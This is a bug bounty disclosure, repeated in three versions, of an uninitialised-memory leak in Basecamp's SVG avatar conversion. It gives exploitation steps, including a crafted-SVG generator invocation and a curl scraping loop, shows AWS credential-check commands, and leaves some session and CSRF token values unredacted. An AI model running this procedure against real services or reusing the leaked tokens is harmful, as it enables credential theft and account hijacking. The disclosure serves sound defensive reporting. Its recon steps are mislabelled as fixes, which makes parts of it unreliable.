AWS keys and user cookie leakage via uninitialized memory leak in outdated librsvg version in Basecamp
An outdated librsvg version used to convert uploaded SVG avatars leaked uninitialised memory into the generated preview image. Because the converter ran in the same process as the main application, an attacker could repeatedly fetch previews to recover sensitive data such as AWS keys and other users' cookies.
- Disclosed after 39 days
Basecamp supports uploading SVG pictures as avatars. Apparently, they are converted via an outdated librsvg version at Basecamp's servers. This version contains a vulnerability that allows leakage of the contents of an uninitialized memory block (that is, something is malloced, never initialized, and then used to build the preview image). Since it seems to be performed in the same unix process as the general request processing, it is possible for an attacker to steal sensitive data from this process, including basecamp configs (e.g., AWS keys) and requests of random users.
Steps to reproduce
-
First, you must generate an image that triggers the vulnerability. To do so, you will need Python installed. Download the attached program F2597505 and run it like this:
python3 rsvgeb.py gen 260x260 --format bmp zalupa.png(exactly like this). The result will be stored in thezalupa.pngfile (which is actually an SVG). The picture contains the exploit itself and carefully chosen SVG filters that make it possible to recover the original data regardless of later conversion artifacts. -
Second, upload the resulting image as your avatar. Login to your Basecamp account, go to your profile (click on the circle image at the top left corner, then go to "Profile, password, ███"), there use the "Change your avatar button" and select the
zalupa.pngwe generated earlier. Don't forget to click on the green button "Save my changes" at the bottom of the page. -
After the avatar update, you will see the pixel image instead of the avatar. We'll use
rsvgeb.pyagain to extract the information. However, the script uses ImageMagick to extract pixel data from PNG files, so you will need it installed locally (at the environment where thersvgeb.pyis ran).apt install imagemagick -yshould be enough on Debian and Ubuntu systems. -
After installing ImageMagick, you must retrieve the public link to your avatar. To do this, click on your avatar with the right mouse button, and choose "Copy image address". After that, open the copied link in a new tab to follow the redirect. The link should change from something like
████to something like████████. Copy the latter one. -
Now, you need to modify the link. Replace the
.avifextension with.png, and the filename (the part right before the extension) with the string$RANDOM$RANDOM$RANDOM$RANDOM. After that, insert the link as thecurlargument into the following command:while true; do curl "████$RANDOM$RANDOM$RANDOM$RANDOM.png?v=1" | python3 rsvgeb.py recover 260x260 - | strings -n 10 | tee -a pizda_hui_govno.txt; done(note how the link looks; yours should also be like this except for the user id and the signed something part).
-
Execute the command. You will see fragments of memory from some Basecamp servers that will also accumulate in
pizda_hui_govno.txt. Sometimes you will see trash or parts of the original SVG, but sometimes you will see fascinating pieces of information. Keep the script running for some time so you will get more sensitive memory fragments (I ran it for 48+ hours). Inspectpizda_hui_govno.txtto check what you have.
Impact
Given the nature of the vulnerability, the attacker does not control which kind of information she will extract. However, due to the lack of isolation between the image converter process and the main Ruby on Rails application, the extracted info might be quite sensitive.
Seemingly, the most exciting fragment I came across included AWS keys and looked like this:
███
██████████
██████
█████████
-----END RSA PRIVATE KEY-----
s3_backup:
access_key_id: ██████████
secret_access_key: █████
sns:
access_key_id: ███████
secret_access_key: █████
active_record_encryption:
primary_key: █████████
deterministic_key: █████████
key_derivation_salt: █████
new_relic:
license_key: ██████
That is, apparently, a fragment of some internal Basecamp config. Other similar configs include:
production_s3_primary:
service: S3
access_key_id: ███
secret_access_key: █████
region: us-east-2
bucket: ███
upload:
storage_class: INTELLIGENT_TIERING
production_s3_replica:
service: S3
access_key_id: ████████
secret_access_key: ███
region: us-west-2
bucket: ████████
upload:
storage_class: ONEZONE_IA
I've checked that the keys actually work, but have not performed any post exploitation:
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████ AWS_SECRET_ACCESS_KEY=██████ aws sts get-caller-identity
{
"UserId": "██████",
"Account": "██████████",
"Arn": "arn:aws:iam::██████:user/bc3-storage"
}
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████████ AWS_SECRET_ACCESS_KEY=██████████ aws s3 ls s3://███/
PRE ███████/
PRE ████████/
PRE ███/
PRE ██████/
PRE █████████/
PRE ████/
PRE ███████/
PRE ███/
PRE ███/
PRE █████/
PRE █████/
PRE █████/
█████████ ████████ ███████
██████ ████████ ██████
██████ ████████ █████
██████████ ██████ ██████
███ █████████ ██████████
██████████ ███████ █████████
███ ███████ █████████
... snip ...
Another thing that I was able to extract is fragments of queries of other users, including cookies (that is a random example):
X_REAL_IP: █████
X_FORWARDED_FOR: ████████, ███
HOST: ████████
X_QUEUE_START: 1690786808.173
CONNECTION: close
COOKIE: █████
█████████%██████%2BVxMClK5d1rjoLKbCyFnKab9lI2lZ9sLvGW%2BT60xsygpl6syYIfVHK73km9DT98ecq0JD68OBnI9EdzLcEdmI5%2BXr%2FuOZ5BeUMoX--kvDVySR7oaYSGdHy--RU8uCFyrq8mPCjEvyX38OA%3D%3D; _csrf_token=KHczIU3KBHe%2FJjVhpFWn48FJ2vtYha4YdwUvXdypO51h5iLa4XvkjqaX0XYtzy7fOJahGGN40mfq8GMEN0v1t0SqEnfJUY%2F7CY1mVVSs9EuAFK8wF4Wrh5jA9jk4sen8KDEDXq7sjAMjdnsLLzIjL0LYLG8P8%2FsZz2BHy95JB9JTSsyPleUI--MLV2RZiAHIJrVXv%2F--rQLRhEgWWYGfXxRmqL%2B%2Frw%3D%3D; authenticity_token=████; color_scheme=none; bc3_session_verification_token=0187762ee195d9bdbb1c; bc3_identity_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBCSTBqYXdFPSIsImV4cCI6bnVsbCwicHVyIjoiY29va2llLmJjM19pZGVudGl0eV9pZCJ9fQ%3D%3D--957bc8a13ea3ae13b00792f0fecaa58f046a791b
ACCEPT: application/json
X_REQUESTED_WITH: XMLHttpRequest
ACCEPT_LANGUAGE: de-DE,de;q=0.9
IF_NONE_MATCH: W/"77ae6ae7dd96d1bac74baed254a6ab62"
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
REFERER: █████
X_FETCH_TYPE: native
X_CSRF_TOKEN: ██████████
X_FORWARDED_PROTO: https
X_FORWARDED_PORT: 443
Also, there were some fragments of Ruby code:
def owner_id_before_type_cast();self.attribute_before_type_cast("owner_id");end;def organization_before_type_cast();self.attribute_before_type_cast("organization");end;def about_url_before_type_cast();self.attribute_before_type_cast("about_url");end;def client_id_before_type_cast();self.attribute_before_type_cast("client_id");end;def client_secret_before_type_cast();self.attribute_before_type_cast("client_secret");end;def redirect_uri_before_type_cast();self.attribute_before_type_cast("redirect_uri");end;def trusted_before_type_cast();self.attribute_before_type_cast("trusted");end;def scope_before_type_cast();self.attribute_before_type_cast("scope");end;def signing_secret_before_type_cast();self.attribute_before_type_cast("signing_secret");
Mitigation
- As the first and the easiest hotfix, I suggest updating the librsvg to the latest version. That will fix this particular bug.
- Another possible quick-fix option would be to forbid uploading SVG avatars or to skip preview generation for them. Note that the previews are not generated for the SVG files anywhere except the avatars (e.g., in the "Docs & Files" section); thus, exploiting librsvg issues is impossible using these endpoints.
- As a long-term solution, I suggest moving image preview generation to an isolated environment. If you would convert every image in another process inside a networkless docker, that would eliminate all the class of image converter-related issues.
Context
Basecamp lets users upload SVG pictures as avatars. On the server side, those uploads are converted into preview images, and the report states that this conversion is performed by an outdated version of librsvg. That version contains a vulnerability that leaks the contents of an uninitialised memory block: memory is allocated with malloc, never initialised, and then used to build the preview image. Because the conversion appears to run in the same Unix process that handles general request processing, an attacker can recover data belonging to that process, including Basecamp configuration values such as AWS keys and requests made by random users.
The asset in scope is app.basecamp.com, and the weakness is information disclosure.
Setup
To reproduce the issue the researcher needed:
- A Basecamp account, so that an avatar can be uploaded from the profile page.
- Python 3, to run the generator/recovery program attached to the report (
rsvgeb.py). - ImageMagick installed locally, because the script uses it to extract pixel data from PNG files. On Debian and Ubuntu,
apt install imagemagick -yis enough.
The generator is invoked with a fixed size and format, and the output file is an SVG despite its .png name.
Finding it
Basecamp supports SVG avatars, and the previews for them are generated server side. The researcher identified that the librsvg version used for that conversion is outdated and carries an uninitialised memory disclosure bug. The key observation is architectural: the image conversion seems to happen in the same Unix process as general request processing, so whatever uninitialised heap content ends up in the preview can come from unrelated requests and from application configuration held in that process.
The exploit image is not a plain SVG. It contains the exploit itself plus carefully chosen SVG filters that make it possible to recover the original data regardless of later conversion artifacts, so the leaked bytes survive the pipeline well enough to be read back.
Exploitation
Step 1: generate the malicious image
Download the attached program F2597505 and run it exactly like this:
python3 rsvgeb.py gen 260x260 --format bmp zalupa.png
The result is written to zalupa.png, which is actually an SVG. The picture contains the exploit and the SVG filters used to recover the original data despite conversion artifacts.
Step 2: upload it as the avatar
Log in to the Basecamp account, open the profile (click the circle image at the top left corner, then go to "Profile, password, ███"), use the "Change your avatar" button and select the generated zalupa.png. Then click the green "Save my changes" button at the bottom of the page.
Step 3: prepare the recovery tooling
After the avatar update, the avatar is displayed as a pixel image rather than a normal picture. The same rsvgeb.py is used to extract the information. The script relies on ImageMagick to extract pixel data from PNG files, so ImageMagick must be installed in the environment where the script runs, not on the server:
apt install imagemagick -y
Step 4: obtain the public avatar link
Right-click the avatar and choose "Copy image address". Open the copied link in a new tab so the redirect is followed. The link changes from a form like ████ to a form like ████████. Copy the latter one.
Step 5: rewrite the link and start the loop
Modify the link: replace the .avif extension with .png, and replace the filename (the part right before the extension) with the string $RANDOM$RANDOM$RANDOM$RANDOM. Then insert the link as the curl argument in the following command:
while true; do curl "████$RANDOM$RANDOM$RANDOM$RANDOM.png?v=1" | python3 rsvgeb.py recover 260x260 - | strings -n 10 | tee -a pizda_hui_govno.txt; done
The link should look like the one in the report apart from the user id and the signed part. The filename is replaced with $RANDOM$RANDOM$RANDOM$RANDOM, so each request uses a different name. The pipeline decodes the returned image with rsvgeb.py recover 260x260 -, extracts printable strings of at least 10 characters, and appends them to pizda_hui_govno.txt.
Step 6: run it and inspect the output
Execute the command. Fragments of memory from Basecamp servers accumulate in pizda_hui_govno.txt. Some of the output is trash or parts of the original SVG, but some of it is sensitive information. The researcher kept the script running for 48+ hours to collect more sensitive fragments, then inspected the file.
Root cause
The outdated librsvg version allocates a buffer with malloc, does not initialise it, and then uses it while building the preview image, so stale heap contents are rendered into the output. The design mistake that turns this into a serious disclosure is the lack of isolation: the image converter appears to run in the same Unix process as the main Ruby on Rails application, so the uninitialised memory can contain application configuration and data from other users' requests. The report says the conversion appears to run in the same Unix process as general request processing.
Impact
The attacker does not control which kind of information is extracted. Because of the missing isolation between the image converter and the main Ruby on Rails application, the extracted information can be quite sensitive.
The most interesting fragment the researcher came across contained AWS keys and looked like this:
███
██████████
██████
█████████
-----END RSA PRIVATE KEY-----
s3_backup:
access_key_id: ██████████
secret_access_key: █████
sns:
access_key_id: ███████
secret_access_key: █████
active_record_encryption:
primary_key: █████████
deterministic_key: █████████
key_derivation_salt: █████
new_relic:
license_key: ██████
That is apparently a fragment of an internal Basecamp config. Other similar configs included:
production_s3_primary:
service: S3
access_key_id: ███
secret_access_key: █████
region: us-east-2
bucket: ███
upload:
storage_class: INTELLIGENT_TIERING
production_s3_replica:
service: S3
access_key_id: ████████
secret_access_key: ███
region: us-west-2
bucket: ████████
upload:
storage_class: ONEZONE_IA
The researcher checked that the keys actually work, without performing any post exploitation:
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████ AWS_SECRET_ACCESS_KEY=██████ aws sts get-caller-identity
{
"UserId": "██████",
"Account": "██████████",
"Arn": "arn:aws:iam::██████:user/bc3-storage"
}
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████████ AWS_SECRET_ACCESS_KEY=██████████ aws s3 ls s3://███/
PRE ███████/
PRE ████████/
PRE ███/
PRE ██████/
PRE █████████/
PRE ████/
PRE ███████/
PRE ███/
PRE ███/
PRE █████/
PRE █████/
PRE █████/
█████████ ████████ ███████
██████ ████████ ██████
██████ ████████ █████
██████████ ██████ ██████
███ █████████ ██████████
██████████ ███████ █████████
███ ███████ █████████
... snip ...
Another class of extracted data was fragments of other users' queries, including cookies. A random example from the report:
X_REAL_IP: █████
X_FORWARDED_FOR: ████████, ███
HOST: ████████
X_QUEUE_START: 1690786808.173
CONNECTION: close
COOKIE: █████
█████████%██████%[redacted]%[redacted]%2BXr%2FuOZ5BeUMoX--kvDVySR7oaYSGdHy--RU8uCFyrq8mPCjEvyX38OA%3D%3D; _csrf_token=KHczIU3KBHe%[redacted]%[redacted]%2FsZz2BHy95JB9JTSsyPleUI--MLV2RZiAHIJrVXv%2F--rQLRhEgWWYGfXxRmqL%2B%2Frw%3D%3D; authenticity_token=████; color_scheme=none; bc3_session_verification_token=0187762ee195d9bdbb1c; bc3_identity_id=[redacted]%3D%3D--[redacted]
ACCEPT: application/json
X_REQUESTED_WITH: XMLHttpRequest
ACCEPT_LANGUAGE: de-DE,de;q=0.9
IF_NONE_MATCH: W/"[redacted]"
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
REFERER: █████
X_FETCH_TYPE: native
X_CSRF_TOKEN: ██████████
X_FORWARDED_PROTO: https
X_FORWARDED_PORT: 443
There were also fragments of Ruby code:
def owner_id_before_type_cast();self.attribute_before_type_cast("owner_id");end;def organization_before_type_cast();self.attribute_before_type_cast("organization");end;def about_url_before_type_cast();self.attribute_before_type_cast("about_url");end;def client_id_before_type_cast();self.attribute_before_type_cast("client_id");end;def client_secret_before_type_cast();self.attribute_before_type_cast("client_secret");end;def redirect_uri_before_type_cast();self.attribute_before_type_cast("redirect_uri");end;def trusted_before_type_cast();self.attribute_before_type_cast("trusted");end;def scope_before_type_cast();self.attribute_before_type_cast("scope");end;def signing_secret_before_type_cast();self.attribute_before_type_cast("signing_secret");
In short, an authenticated user uploading an avatar could, over time, recover fragments of the application process's memory, which may include credentials, configuration and other users' request data.
Fix
The report proposes three mitigations:
- As the first and easiest hotfix, update librsvg to the latest version, which fixes this particular bug.
- Another quick fix is to forbid uploading SVG avatars or to skip preview generation for them. The report notes that previews are not generated for SVG files anywhere except avatars (for example, not in the "Docs & Files" section), so librsvg issues cannot be exploited through those other endpoints.
- As a long-term solution, move image preview generation into an isolated environment. Converting every image in another process inside a networkless Docker container would eliminate the whole class of image converter related issues.
- Upload SVG avatars on other products and check whether the returned preview differs between requests for the same source image. A positive result is a preview whose pixels change when the filename or cache-busting parameter changes, which suggests regeneration from uninitialised memory.
- Look for other image conversion paths (thumbnails, document previews, attachment previews) that accept SVG or other complex formats. A positive result is a preview that contains readable strings not present in the uploaded file.
- Check whether the converter runs in the same process as the application by looking for application configuration or request data in recovered strings. A positive result is a fragment such as a YAML config block or HTTP headers from another user's request.
- Test whether the same leak appears through other upload features that generate previews, and whether unauthenticated or low-privilege accounts can reach them. A positive result is leaked data obtained with the lowest possible privilege.
This kind of bug tends to hide wherever user-supplied images are converted server side by native libraries, especially when the converter is old and runs in-process with the web application. During recon, the signals are: SVG upload accepted for avatars or previews, preview URLs that include a filename or cache-busting parameter, and responses that change when that parameter changes. The researcher demonstrated impact by running the extraction loop long enough (48+ hours) to recover real secrets, then verifying that the recovered AWS keys worked with aws sts get-caller-identity and aws s3 ls, without any post exploitation. That combination of a working credential check and evidence of other users' request data is what makes the severity of an uninitialised memory leak concrete.
What happened, in plain words
Basecamp is a web application where teams share projects, messages and files. Like many such sites, it lets you pick a profile picture, called an avatar. Basecamp accepts avatars in a file format called SVG, which is a way of describing a picture with text instructions (shapes, lines, colours) rather than a grid of pixels.
When you upload an avatar, Basecamp does not store your file exactly as it is. Its server makes a smaller preview version of the picture, so pages load quickly. To turn an SVG into a preview, the server uses a piece of software called librsvg, a library that reads SVG files and draws them.
The report says Basecamp was running an outdated version of librsvg that contains a vulnerability. The flaw is about memory: when a program needs space to work with, it asks the operating system for a block of memory. A careful program wipes that block clean before using it. The old librsvg did not wipe it, so whatever was left in that block from earlier use ended up inside the preview image it produced. This is called an uninitialised memory leak: memory is allocated with malloc, never initialised, and then used to build the preview image.
The second problem is where that conversion happened. The report says the conversion appears to run in the same Unix process that handles ordinary web requests. A process is a running copy of a program with its own chunk of memory; everything that program is doing at that moment shares that memory. So the leftover bytes in the reused block could be anything the process had recently held: parts of Basecamp's own configuration, including cloud credentials, and details of requests made by other users.
The researcher's trick was to upload a specially crafted SVG avatar that makes the server render those leftover bytes into the preview picture as visible pixels. By downloading the preview repeatedly and decoding the pixels, the researcher could read out fragments of the server's memory. The asset in scope is app.basecamp.com, and the weakness is information disclosure: the server reveals data it should keep private.
Setting up
To reproduce the issue the researcher needed three things:
- A Basecamp account, so that an avatar can be uploaded from the profile page.
- Python 3, to run the generator and recovery program attached to the report, called
rsvgeb.py. - ImageMagick installed locally, because the script uses it to extract pixel data from PNG files. On Debian and Ubuntu,
apt install imagemagick -yis enough.
Python is a programming language; running a .py file means asking the Python interpreter to execute the instructions inside it. ImageMagick is a free command-line toolkit for converting and inspecting images, and the recovery script calls on it behind the scenes.
The generator is invoked with a fixed size and format, and the output file is an SVG despite its .png name. The name is just a label; what matters is the content, and the content is SVG.
Finding it
Basecamp supports SVG avatars, and the previews for them are generated on the server. The researcher identified that the librsvg version used for that conversion is outdated and carries an uninitialised memory disclosure bug. The key observation is architectural: the image conversion seems to happen in the same Unix process as general request processing, so whatever uninitialised memory content ends up in the preview can come from unrelated requests and from application configuration held in that process.
The exploit image is not a plain SVG. It contains the exploit itself plus carefully chosen SVG filters that make it possible to recover the original data regardless of later conversion artifacts, so the leaked bytes survive the pipeline well enough to be read back. An SVG filter is a built-in image effect described in the SVG file, such as a blur or a colour adjustment; here the filters are chosen so that the leaked bytes are still recognisable after the server has resized and re-encoded the picture.
Exploitation
Step 1: generate the malicious image
Download the attached program F2597505 and run it exactly like this:
python3 rsvgeb.py gen 260x260 --format bmp zalupa.png
Line by line:
python3starts the Python 3 interpreter.rsvgeb.pyis the script to run.gentells the script to generate an image.260x260is the width and height in pixels.--format bmpselects the internal format the script uses while building the picture.zalupa.pngis the name of the file to write.
The result is written to zalupa.png, which is actually an SVG. The picture contains the exploit and the SVG filters used to recover the original data despite conversion artifacts. In other words, the file is bait: it looks like an ordinary picture to the upload form, but when the server's old librsvg draws it, the drawing instructions cause leftover memory to be painted into the result.
Step 2: upload it as the avatar
Log in to the Basecamp account, open the profile (click the circle image at the top left corner, then go to "Profile, password, ███"), use the "Change your avatar" button and select the generated zalupa.png. Then click the green "Save my changes" button at the bottom of the page.
This step is what delivers the file to the vulnerable converter. The upload form is the front door; the server accepts the SVG, passes it to librsvg to make a preview, and the preview is what the researcher will later download.
Step 3: prepare the recovery tooling
After the avatar update, the avatar is displayed as a pixel image rather than a normal picture. That is expected: the preview is not a drawing of the intended picture, it is a picture of memory bytes.
The same rsvgeb.py is used to extract the information. The script relies on ImageMagick to extract pixel data from PNG files, so ImageMagick must be installed in the environment where the script runs, not on the server:
apt install imagemagick -y
Line by line:
aptis the package manager on Debian and Ubuntu systems.installasks it to install software.imagemagickis the package name.-yanswers yes to the confirmation prompt automatically.
Running this on your own computer, not on Basecamp's server, is the point: the recovery happens locally, using the downloaded preview images as raw material.
Step 4: obtain the public avatar link
Right-click the avatar and choose "Copy image address". Open the copied link in a new tab so the redirect is followed. The link changes from a form like ████ to a form like ████████. Copy the latter one.
A redirect is the server saying "the thing you asked for is over there" and sending the browser to a second address. The first address is a friendly one; the second is the real location of the stored image, and that is the one the researcher needs because it can be requested directly.
Step 5: rewrite the link and start the loop
Modify the link: replace the .avif extension with .png, and replace the filename (the part right before the extension) with the string $RANDOM$RANDOM$RANDOM$RANDOM. Then insert the link as the curl argument in the following command:
while true; do curl "████$RANDOM$RANDOM$RANDOM$RANDOM.png?v=1" | python3 rsvgeb.py recover 260x260 - | strings -n 10 | tee -a pizda_hui_govno.txt; done
The link should look like the one in the report apart from the user id and the signed part.
Line by line:
while true; do ...; donerepeats the commands inside forever, until you stop it with Ctrl+C.curl "..."is a command-line tool that fetches a web address, like a browser does but without showing a page. The address in quotes is the avatar link with the filename replaced.$RANDOMis a shell variable that produces a different random number each time it is read. Four of them in a row make a long, always-changing filename.|is a pipe: it takes the output of the command on its left and feeds it as input to the command on its right.python3 rsvgeb.py recover 260x260 -runs the recovery mode of the script on the downloaded image, with the-meaning "read from the pipe instead of a file".strings -n 10scans binary data and prints only runs of at least 10 readable characters, which is how raw memory turns into something a human can skim.tee -a pizda_hui_govno.txtboth shows the text on screen and appends it to the named file, so nothing is lost.
The $RANDOM segments make each request use a different filename. A cache is a stored copy kept to avoid repeating work; changing the name defeats it. The pipeline decodes the returned image with rsvgeb.py recover 260x260 -, extracts printable strings of at least 10 characters, and appends them to pizda_hui_govno.txt.
Step 6: run it and inspect the output
Execute the command. Fragments of memory from Basecamp servers accumulate in pizda_hui_govno.txt. Some of the output is trash or parts of the original SVG, but some of it is sensitive information. The researcher kept the script running for 48+ hours to collect more sensitive fragments, then inspected the file.
Why so long? Each request only captures whatever happened to be sitting in the reused memory block at that instant. Most of the time that is uninteresting. Over thousands of requests, the odds improve that some block contains something valuable, such as a configuration file or another user's request.
Root cause
The outdated librsvg version allocates a buffer with malloc, does not initialise it, and then uses it while building the preview image, so stale heap contents are rendered into the output. A buffer is a reserved area of memory; the heap is the general pool of memory a program borrows from at runtime. Stale contents means bytes left over from whatever used that area before.
The design mistake that turns this into a serious disclosure is the lack of isolation: the image converter appears to run in the same Unix process as the main Ruby on Rails application, so the uninitialised memory can contain application configuration and data from other users' requests. Ruby on Rails is the web framework Basecamp's application is built with. The report says the conversion appears to run in the same Unix process as general request processing.
Impact
The attacker does not control which kind of information is extracted. Because of the missing isolation between the image converter and the main Ruby on Rails application, the extracted information can be quite sensitive.
The most interesting fragment the researcher came across contained AWS keys and looked like this:
███
██████████
██████
█████████
-----END RSA PRIVATE KEY-----
s3_backup:
access_key_id: ██████████
secret_access_key: █████
sns:
access_key_id: ███████
secret_access_key: █████
active_record_encryption:
primary_key: █████████
deterministic_key: █████████
key_derivation_salt: █████
new_relic:
license_key: ██████
What this shows: AWS is Amazon Web Services, a cloud platform where companies rent servers and storage. An access key id and a secret access key are a username-and-password pair for a program, letting it act on the company's AWS account. S3 is AWS's file storage service. SNS is AWS's notification service. The active_record_encryption block holds keys used to encrypt database fields, and New Relic is a monitoring service whose licence key is also a credential. The -----END RSA PRIVATE KEY----- line is the tail of a private key file, the secret half of a cryptographic key pair.
That is apparently a fragment of an internal Basecamp config. Other similar configs included:
production_s3_primary:
service: S3
access_key_id: ███
secret_access_key: █████
region: us-east-2
bucket: ███
upload:
storage_class: INTELLIGENT_TIERING
production_s3_replica:
service: S3
access_key_id: ████████
secret_access_key: ███
region: us-west-2
bucket: ████████
upload:
storage_class: ONEZONE_IA
Here region is the geographic area of the AWS data centre, bucket is the name of a storage container, and storage_class is the pricing and durability tier chosen for stored files. primary and replica suggest a main copy and a backup copy in different regions.
The researcher checked that the keys actually work, without performing any post exploitation:
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████ AWS_SECRET_ACCESS_KEY=██████ aws sts get-caller-identity
{
"UserId": "██████",
"Account": "██████████",
"Arn": "arn:aws:iam::██████:user/bc3-storage"
}
$ AWS_DEFAULT_REGION=us-east-2 AWS_ACCESS_KEY_ID=████████ AWS_SECRET_ACCESS_KEY=██████████ aws s3 ls s3://███/
PRE ███████/
PRE ████████/
PRE ███/
PRE ██████/
PRE █████████/
PRE ████/
PRE ███████/
PRE ███/
PRE ███/
PRE █████/
PRE █████/
PRE █████/
█████████ ████████ ███████
██████ ████████ ██████
██████ ████████ █████
██████████ ██████ ██████
███ █████████ ██████████
██████████ ███████ █████████
███ ███████ █████████
... snip ...
Line by line:
AWS_DEFAULT_REGION=us-east-2sets the region for the command.AWS_ACCESS_KEY_ID=████andAWS_SECRET_ACCESS_KEY=██████supply the recovered credential pair as environment variables, which is how the AWS command-line tool reads them.aws sts get-caller-identityasks AWS "who am I?" and returns the identity behind the keys.stsis the AWS security token service, andArnis the full name of the identity in AWS's naming scheme.aws s3 ls s3://███/lists the contents of a storage bucket.PREmarks a prefix, which is a folder-like grouping inside a bucket.
The report shows the output of both commands, which indicates the leaked keys worked. The researcher stopped there and did not use them for anything further.
Another class of extracted data was fragments of other users' queries, including cookies. A random example from the report:
X_REAL_IP: █████
X_FORWARDED_FOR: ████████, ███
HOST: ████████
X_QUEUE_START: 1690786808.173
CONNECTION: close
COOKIE: █████
█████████%██████%[redacted]%[redacted]%2BXr%2FuOZ5BeUMoX--kvDVySR7oaYSGdHy--RU8uCFyrq8mPCjEvyX38OA%3D%3D; _csrf_token=KHczIU3KBHe%[redacted]%[redacted]%2FsZz2BHy95JB9JTSsyPleUI--MLV2RZiAHIJrVXv%2F--rQLRhEgWWYGfXxRmqL%2B%2Frw%3D%3D; authenticity_token=████; color_scheme=none; bc3_session_verification_token=0187762ee195d9bdbb1c; bc3_identity_id=[redacted]%3D%3D--[redacted]
ACCEPT: application/json
X_REQUESTED_WITH: XMLHttpRequest
ACCEPT_LANGUAGE: de-DE,de;q=0.9
IF_NONE_MATCH: W/"[redacted]"
USER_AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15
REFERER: █████
X_FETCH_TYPE: native
X_CSRF_TOKEN: ██████████
X_FORWARDED_PROTO: https
X_FORWARDED_PORT: 443
What this is: the headers of an HTTP request. When a browser asks a server for a page, it sends a small block of labelled lines called headers, followed by the request itself. Each line here is one header:
X_REAL_IPandX_FORWARDED_FORcarry the client's address as seen through proxies.HOSTnames the site being requested.X_QUEUE_STARTis a timestamp.CONNECTION: closeasks for the connection to be closed after the response.COOKIEcarries the browser's stored cookies for the site. A cookie is a small piece of data a site asks the browser to keep and send back on every request; it is how a site remembers that you are logged in. The long encoded values after it are session cookies and anti-forgery tokens._csrf_tokenandX_CSRF_TOKENare cross-site request forgery tokens, random values that prove a form submission came from the site's own pages rather than a malicious page.bc3_session_verification_tokenandbc3_identity_idare Basecamp-specific session values.ACCEPTsays what kind of response the client wants, here JSON, a common text format for data.X_REQUESTED_WITH: XMLHttpRequestmarks the request as coming from JavaScript in the page rather than a full page load.ACCEPT_LANGUAGElists the user's preferred languages.IF_NONE_MATCHlets the browser say "only send the page if it changed since the version I have", using an identifier called an ETag.USER_AGENTidentifies the browser and operating system.REFERERsays which page the request came from.X_FORWARDED_PROTOandX_FORWARDED_PORTrecord that the original request arrived over HTTPS on port 443, the standard secure web port.
Seeing another user's cookies is serious because a session cookie is effectively a logged-in badge. Anyone holding it can often act as that user.
There were also fragments of Ruby code:
def owner_id_before_type_cast();self.attribute_before_type_cast("owner_id");end;def organization_before_type_cast();self.attribute_before_type_cast("organization");end;def about_url_before_type_cast();self.attribute_before_type_cast("about_url");end;def client_id_before_type_cast();self.attribute_before_type_cast("client_id");end;def client_secret_before_type_cast();self.attribute_before_type_cast("client_secret");end;def redirect_uri_before_type_cast();self.attribute_before_type_cast("redirect_uri");end;def trusted_before_type_cast();self.attribute_before_type_cast("trusted");end;def scope_before_type_cast();self.attribute_before_type_cast("scope");end;def signing_secret_before_type_cast();self.attribute_before_type_cast("signing_secret");
This is Ruby, the language of the Rails framework. Each def ... end defines a small method, a named block of code that can be called. The names suggest generated accessors for database fields: owner_id, organization, about_url, client_id, client_secret, redirect_uri, trusted, scope and signing_secret. The report also recovered fragments of Ruby code, such as this one.
In short, an authenticated user uploading an avatar could, over time, recover fragments of the application process's memory, which may include credentials, configuration and other users' request data.
Fix
The report proposes three mitigations:
- As the first and easiest hotfix, update librsvg to the latest version, which fixes this particular bug. A hotfix is a quick patch applied to stop the bleeding, not necessarily a permanent redesign.
- Another quick fix is to forbid uploading SVG avatars or to skip preview generation for them. The report notes that previews are not generated for SVG files anywhere except avatars (for example, not in the "Docs & Files" section), so librsvg issues cannot be exploited through those other endpoints. An endpoint is a specific address on a server that does a particular job.
- As a long-term solution, move image preview generation into an isolated environment. Converting every image in another process inside a networkless Docker container would eliminate the whole class of image converter related issues. Docker is a tool for running a program in its own sealed box, and networkless means that box cannot talk to the internet or the rest of the company's systems, so even a successful exploit has nowhere to go.
- Upload SVG avatars on other products and check whether the returned preview differs between requests for the same source image. A positive result is a preview whose pixels change when the filename or cache-busting parameter changes, which suggests regeneration from uninitialised memory. A cache-busting parameter is a meaningless extra value added to a URL purely to make it look new to caches.
- Look for other image conversion paths (thumbnails, document previews, attachment previews) that accept SVG or other complex formats. A positive result is a preview that contains readable strings not present in the uploaded file.
- Check whether the converter runs in the same process as the application by looking for application configuration or request data in recovered strings. A positive result is a fragment such as a YAML config block or HTTP headers from another user's request. YAML is a plain-text format for configuration files, the style used in the config fragments above.
- Test whether the same leak appears through other upload features that generate previews, and whether unauthenticated or low-privilege accounts can reach them. A positive result is leaked data obtained with the lowest possible privilege.
This kind of bug tends to hide wherever user-supplied images are converted on the server by native libraries, especially when the converter is old and runs in-process with the web application. A native library is compiled code that the application calls into, as opposed to code written in the application's own language. During recon, the signals are: SVG upload accepted for avatars or previews, preview URLs that include a filename or cache-busting parameter, and responses that change when that parameter changes. Recon means the early information-gathering phase of a security test.
The researcher demonstrated impact by running the extraction loop long enough (48+ hours) to recover real secrets, then verifying that the recovered AWS keys worked with aws sts get-caller-identity and aws s3 ls, without any post exploitation. Post exploitation means doing further damage after the first break-in, such as reading private files or planting backdoors. That combination of a working credential check and evidence of other users' request data is what makes the severity of an uninitialised memory leak concrete.
Glossary
- API: a defined way for one program to ask another for data or actions, like a service counter with set request forms.
- Avatar: the profile picture shown next to a user's name.
- AWS: Amazon Web Services, a cloud platform for renting servers, storage and other computing services.
- AWS access key id / secret access key: a username-and-password pair that lets a program act on an AWS account.
- Bucket: a named storage container in AWS S3.
- Buffer: a reserved area of memory a program uses to hold data temporarily.
- Cache: a stored copy of something kept so it does not have to be produced again.
